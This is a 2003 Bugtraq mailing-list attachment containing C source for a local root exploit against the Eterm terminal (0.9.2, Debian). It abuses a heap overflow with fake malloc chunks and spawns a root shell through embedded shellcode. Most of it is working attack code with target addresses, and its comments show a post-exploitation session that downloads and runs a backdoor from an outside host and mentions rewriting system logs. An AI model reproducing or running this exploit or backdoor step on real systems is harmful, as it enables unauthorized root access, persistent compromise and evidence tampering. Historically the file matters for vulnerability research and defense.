102917 2003-05-30 08:26 /578 rader/ bazarr@ziplip.com <bazarr@ziplip.com>
Bilagans filnamn: "bazarr-episode-3.c"
Importerad: 2003-05-30 08:26 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: bazarr@ziplip.com
Mottagare: Bugtraq (import) <5067>
Bilaga (text/plain) till text 102916
Ärende: Bilaga (bazarr-episode-3.c) till: BAZARR CODE NINER PINK TEAM GO GO GO
------------------------------------------------------------
/* 0day Eterm <= 0.9.2? x86 */
/* 0day local root xploit for Eterm */
/* dis code is copyrighted(C) by me bazarr */
/* compiles on linux x86 */
/* by: bazarr 3/11/03 */
/* bazarr@ziplip.com */
/*
* 2 #darknet girls go round da outside round da outside round da outside
* 2 #darknet girls go round da outside round da outside round da outside
* bazarr is back
* tell a freind
* DIS ADVISORY/XPLOIT HAS BEEN CENSORED AGAIN. I PUT A LOCAL ROOT .c
* WHEN DIS LIST IS GOING DOWN SOUTH QUICK WID CROSS SITE SCRIPTING
* BUGS. AND I AM CENSORED SO HEAVILY ITS NOT EVEN FUNNY. IM TRYING
* TO HELP DA GREAT BUGTRAQ HERE.
* http://geocities.com/rrazab/bazarr-unsencored-episode-3.c
* THE REAL ADVISORY CAN BE FOUND THERE.
* this bug is a static data buffer overflow wich be many a trickyness
* to xploit. but i have managed to xploit dis on linux
* x86. xploiting on freebsd might be a different xploit all together
* since i be using da dlmalloc implementation to hack eterm(bbp! i be
* reading your paper).
* many a people like to use Eterm while i use gnome-terminal cuz it
* so easy to config. when Eterm is installed it normally is
* installed suid root on many a install. but on many a distros it is
* installed as part of default applications package. ie: debian
* installs eterm setgid utmp by default. hi martin.
* so by xploiting dis bug on default install of debain you will obtain local gid utmp.
* den you are able to backdoor certain binarys to get root. and able
* to modify all important log files on da entire system!. CALL ALPHA
* TANGO TEAM. you can also xploit programs wich handle utmp/wtmp
* insecurely.
* but on many a install you just get root.
* [c00l:code]$ ./a.out aa #THIS BUG COMMING SOON. DIS BE A PREVIEW
* sh-2.05a# id
* uid=1001(c00l) gid=1001(c00l) euid=0(root) groups=1001(c00l)
* sh-2.05a# exit
* [c00l:code]$ cc debeterm.c
* [c00l:code]$ ./a.out -t0 #back to the eterm bug
* [*] Eterm local xploit
* [*] Copyright(C) drunken fool on the lose (bazarr)
* [*] using retloc 0x8049788 chunkaddr 0x8086af8 retaddr 0xbffeb874
* <terminal gets really messed up from garbage displayed by eterm load_image()>
* in image path.
* Eterm: Error: Received terminal signal SIGSEGV (11)
* Eterm: Error: Attempting to dump a stack trace....
* GNU gdb 2002-04-01-cvs
* Copyright 2002 Free Software Foundation, Inc.
* GDB is free software, covered by the GNU General Public License, and you are
* welcome to change it and/or distribute copies of it under certain conditions.
* Type "show copying" to see the conditions.
* There is absolutely no warranty for GDB. Type "show warranty" for details.
* This GDB was configured as "i386-linux"...(no debugging symbols found)...
* Attaching to program: /usr/bin/Eterm, process 25733
* ptrace: Operation not permitted.
* /home/c00l/code/realcode/code/25733: No such file or directory.
* /usr/share/Eterm/gdb.scr:1: Error in sourced command file:
* No stack.
* (gdb) q <--- this is all you need to do you must type 'q' when gdb starts
* sh-2.05a# id
* uid=0(root) gid=1001(c00l) groups=1001(c00l)
* sh-2.05a# wget http://pornoganny.org/.owned/bd.tar.gz ; tar zxvf bd.tar.gz ; cd bd ; make ; ./bd & exit
* -bazarr
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <setjmp.h>
#include <signal.h>
#include <getopt.h>
#include <sys/resource.h>
#include <string.h>
#include <errno.h>
#include <sys/time.h>
#include <netdb.h>
#define NORM "\033[0m"
#define RED "\033[31m"
#define GREEN "\033[37m" //dis used to be green but im too damn lazy to change da name sorry
#define CHUNKGUESS 0x8084a28 //dis is da addr in wich findchunk() will start looking
#define CHUNKEND CHUNKGUESS + 85000 // you might have to change chunkguess
#define CHUNKARGMAX 35000
#define CHUNKARGMIN 35000 //stupid!
#define MAXLINE 1024*4
#define DUPSTREAM 2 //dis be stderr
#define HOPELESS 24 //dis be da number of times i try to xploit eterm
#define PATH "/usr/bin/Eterm"
/* globls */
typedef struct {
ssize_t prev_size;
ssize_t size;
uint32_t fd;
uint32_t bk;
} chunk_t;
typedef struct {
char *name;
int chunkaddr;
int retloc;
int retaddr;
uint8_t typenum;
} targ_t;
/* adding types is xplained at da bottom of dis xploit */
/* some people dink dat it funny to have types but i only */
/* have 1 type, but i dont find dat funny */
targ_t targ[] = {
{"debian 3.0 w00dy (Eterm 0.9.2)",0x8085ae8,0x8049794,0xbffeb874,0},
{NULL}
};
/* if you on a remote box you need to set dis */
/* it has nothing to do wid da xploit though */
/* eterm just does a little check for display */
/* when it starts */
static char *display = NULL;
static pid_t cpid = 0;
static int chunkaddr = 0;
static int retloc = 0;
static int retaddr = 0;
static uint8_t verbose;
static uint8_t brute = 0;
char shellcode[] =
/* this xploit even uses custom shellcode */
/* all dis by bazarr it so cool isnt it? */
/* oh... :( */
/* main: */
/* dis be a sigprocmask call */
/* can you see how cool it works? */
/* take a look at da sigfillset() src code */
/* den you see what i be doing */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xd2" /* xorl %edx,%edx */
"\xb0\x7e" /* movb $126,$al */
"\x43\x43" /* inc %ebx 2x */
"\x6a\xff" /* pushl $0xffffffff */
"\x89\xe1" /* movl %esp,%ecx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x0b" /* movb $0xb,%al */
"\x99" /* cdq */
"\x52" /* pushl %edx */
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x52" /* pushl %edx */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xcd\x80"; /* int $0x80 */
char jmp[] = "\xeb\x0e";
int findchunk(void);
void killeterm(int sig); //i dont use dis , it just here watever watever
int xploit(void);
void usage(void);
void mesg(void);
void killeterm(int sig) {
printf("HELLO\n");
kill(cpid,SIGKILL);
}
/*
CENSORED
*/
int xploit(void) {
char shell[25600]; //real big so we can ensure a steady retaddr
#ifndef TEST
char chunkarg[CHUNKARGMAX];
#endif
#ifdef TEST
char chunkarg[CHUNKARGMIN]; //if this is big it'll be put around rs_name
#endif
char pathchunk[22600];
char sendbuf[1024];
char *ptr = NULL;
char genbuf[128];
char cmdbuffer[sizeof(chunkarg)+strlen(PATH)+14];
chunk_t chunk; //we need 2 fake chunks but seeing as they can be the same we use 1 so we can land on whatever
int i = 0;
pid_t pid = 0;
int fd[2];
int fd2[2];
int n = 0;
bzero(&chunk,sizeof(chunk));
/* take care of retaddr */
ptr = shell;
for (i = 0 ; i < sizeof(shell) - (24 + strlen(shellcode)+18) ;i+=2) {
sprintf(ptr,jmp); //fmt string attack returns from da grave!
ptr += strlen(jmp); //in new version dis will be patched
} //we be using strcat next time
memset(ptr,0x99,24);
ptr += 24;
for (i = 0; i < strlen(shellcode);i++) {
*(ptr++) = shellcode[i];
}
shell[sizeof(shell)-2] = '\0';
/* take care of path buffer with address of chunks */
ptr = pathchunk;
for (i = 0; i < sizeof(pathchunk);i+=4) {
*((void**)ptr) = (void*)(chunkaddr);
ptr += 4;
}
pathchunk[sizeof(pathchunk)-2] = '\0';
/* take care of fake chunks */
ptr = chunkarg;
chunk.prev_size = 0xfffffff0;
chunk.size = 0xfffffff8;
chunk.fd = retloc - 12; //we need 2 fake chunks but we can make them both the same
chunk.bk = retaddr;
for (i = 0; i < sizeof(chunkarg) - 16;i+=16) {
memcpy(ptr,&chunk,sizeof(chunk));
ptr += 16;
}
chunkarg[sizeof(chunkarg)-2] = '\0';
system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null");
setenv("CODE",shell,1);
setenv("ETERMPATH",pathchunk,1); //THIS IS DONE THIS WAY TO POKE FUN AT A PERSON
setenv("CHUNKARG",chunkarg,1);
#ifdef TEST
system("/bin/bash");
#endif
#ifndef TEST
system("/usr/bin/Eterm --term-name $CHUNKARG");
#endif
return -1;
}
/*
CENSORED
*/
int findchunk(void) {
char recvbuf[MAXLINE] = {0};
#ifdef TEST
char chunkarg[CHUNKARGMIN] = {0};
#endif
#ifndef TEST
char chunkarg[CHUNKARGMAX] = {0};
#endif
char pathenv[22580];
char extra[25600]; //we dont want major changes from here to xploit
char *p = pathenv;
char *pp;
int chunkguess = CHUNKGUESS;
size_t n = 0;
int fd[2],i;
pid_t pid;
chunk_t chunk;
uint8_t offset = 0,findoff = 0,twice = 0;
signal(SIGALRM,killeterm);
bzero(pathenv,sizeof(pathenv));
bzero(chunkarg,sizeof(chunkarg));
chunk.prev_size = 0x41414141; //dis be D
chunk.size = 0x42424242; //dis be C
chunk.fd = 0x43434343; //dis be B
chunk.bk = 0x44444444; //dis be A
memset(extra,0x41,sizeof(extra));
extra[sizeof(extra)-1] = '\0';
setenv("CODE",extra,1);
p = pathenv;
while (chunkguess < CHUNKEND) {
bzero(recvbuf,sizeof(recvbuf));
if (!findoff) {
memset(chunkarg,0x41,sizeof(chunkarg)-2);
chunkarg[sizeof(chunkarg)-1] = '\0';
}
else {
p = chunkarg;
for (i = 0 ; i < sizeof(chunkarg);i+=16) {
memcpy(p,&chunk,sizeof(chunk));
p += 16;
}
chunkarg[sizeof(chunkarg)-2] = '\0';
p = pathenv;
}
if (pipe(fd)<0) {
perror("pipe");
exit(-1);
}
if ((pid = fork())<0) {
perror("fork");
exit(-1);
}
if (pid == 0) {
cpid = getpid();
for (i = 0; i < sizeof(pathenv)-1;i+=4) {
*((void**)p) = (void*)(chunkguess);
p += 4;
}
pathenv[sizeof(pathenv)-2] = '\0';
setenv("ETERMPATH",pathenv,1);
close(fd[0]);
if (dup2(fd[1],DUPSTREAM)!=DUPSTREAM) {
perror("dup2");
_exit(-1);
}
alarm(1);
close(STDOUT_FILENO);
execl(PATH,PATH,"--term-name",chunkarg,0);
_exit(-1);
}
if (pid > 0) {
close(fd[1]);
if ((n = read(fd[0],recvbuf,MAXLINE-1))<=0) {
if (n == 0) {
system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null");
}
else {
perror("read");
exit(-1);
}
}
system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null");
if (!findoff) {
if ((pp = strchr(recvbuf,'A'))) {
fprintf(stderr,"[+] found offset from recvbuf %d\n",(pp - recvbuf));
offset = (pp - recvbuf);
//this shit should be 39 on all eterms
if (offset > 39 && (twice != 3)) {
//chances be good we came into it on a fucked up way
findoff = 0;
twice++;
continue;
}
findoff = 1;
continue;
}
}
}
recvbuf[offset+8] = '\0';
if (verbose) {
printf("%s\n",recvbuf+offset); //we only look at the first 8 bytes
}
if (strstr(recvbuf+offset,"CCCCDDDD")) { //this is the addr we pass to free in eterm
chunkaddr = chunkguess;
return 0;
}
else {
if (!findoff) {
chunkguess += 4200; //dis be big
continue;
}
else if (findoff) {
chunkguess += 4; //dis be small
continue;
}
}
}
return -1;
}
void mesg(void) {
fprintf(stderr,""RED"[*] local Eterm xploit\n");
fprintf(stderr,""GREEN"[*] Copyright(C) drunken fool on the lose (bazarr)\n");
}
void listtypes(void) {
register uint8_t i = 0;
fprintf(stderr,""RED"Types:\n");
for (i = 0;targ[i].name != NULL;i++) {
fprintf(stderr,""GREEN"\t%s | retloc 0x%x"
" | retaddr 0x%x | chunkaddr 0x%x | type# %u\n"NORM"",targ[i].name,
targ[i].retloc,targ[i].retaddr,targ[i].chunkaddr,targ[i].typenum);
}
putchar('\n');
}
void usage(void) {
fprintf(stderr,
""RED"debian <= 3.0 eterm local gid utmp\n"
""GREEN"usage:\n"
" -v /* verbose debuging stuff */\n"
" -r (int) /* set retloc address */\n"
" -c (int) /* set chunk address */\n"
" -R (int) /* set return address */\n"
" -f /* find chunk address only (use to make a new type) */\n"
" -l /* list types */\n"
" -d (str) /* set display (this has nothing to do with the xploit) */\n"NORM);
exit(0);
}
int main(int argc,char **argv) { //college professor is it char *argv[] or char **argv?
int c;
uint8_t typenum,numtypes;
uint8_t i,didit = 0;
signal(SIGPIPE,SIG_IGN);
for (i = 0; targ[i].name != NULL;i++);
numtypes = i;
opterr = 0;
while ((c = getopt(argc,argv,"R:d:t:r:c:vfbl"))!=EOF) {
switch (c) {
case 'r':
sscanf(optarg,"%p",&retloc);
break;
case 'c':
sscanf(optarg,"%p",&chunkaddr);
break;
case 'R':
sscanf(optarg,"%p",&retaddr);
break;
case 'v':
verbose = 1;
break;
case 'f':
mesg();
if (findchunk()==0) {
fprintf(stderr,"[*] found chunk address at (0x%x)\n"NORM,chunkaddr);
}
else {
fprintf(stderr,"[*] coulden't find chunkaddr\n"NORM);
}
exit(0);
case 'b':
brute = 1;
break;
case '?':
usage();
break;
case 't':
typenum = atoi(optarg);
didit = 1;
if (typenum >= numtypes) {
usage();
}
break;
case 'l':
listtypes();
exit(0);
break;
case 'd':
display = optarg;
setenv("DISPLAY",optarg,1);
break;
default:
usage();
}
}
if (!didit) {
usage();
}
mesg();
if (!chunkaddr) { chunkaddr = targ[typenum].chunkaddr; }
if (!retloc) { retloc = targ[typenum].retloc; }
if (!retaddr) { retaddr = targ[typenum].retaddr; }
fprintf(stderr,"[*] using retloc 0x%x chunkaddr 0x%x retaddr
0x%x\n"NORM,retloc,chunkaddr,retaddr);
xploit();
if (!brute) {
exit(0);
}
for (i = 0; i < HOPELESS;i++) {
xploit(); //this really inst brut forcing anything its just retrying till our chunkaddr comes back
} //into the spot we want it to wich should take like at the max 10 times
exit(-1);
}
/*
to make a new type run follow deese steps (THEY COOL STEPS)
CENSORED
*/
/*
.=.
//(`)_
//`\/ |\ O`\\
||-.\_|_/.-||
)/ |_____| \(
O # \ / # O
(| 0 o |)
| * |
O.__.\---/.__.O
`._ `"` _.'
/ ; \ \
O'-' )/`'-0
O` the fucking enraged clown. bazarr.
*/
(102917) /bazarr@ziplip.com <bazarr@ziplip.com>/(Ombruten)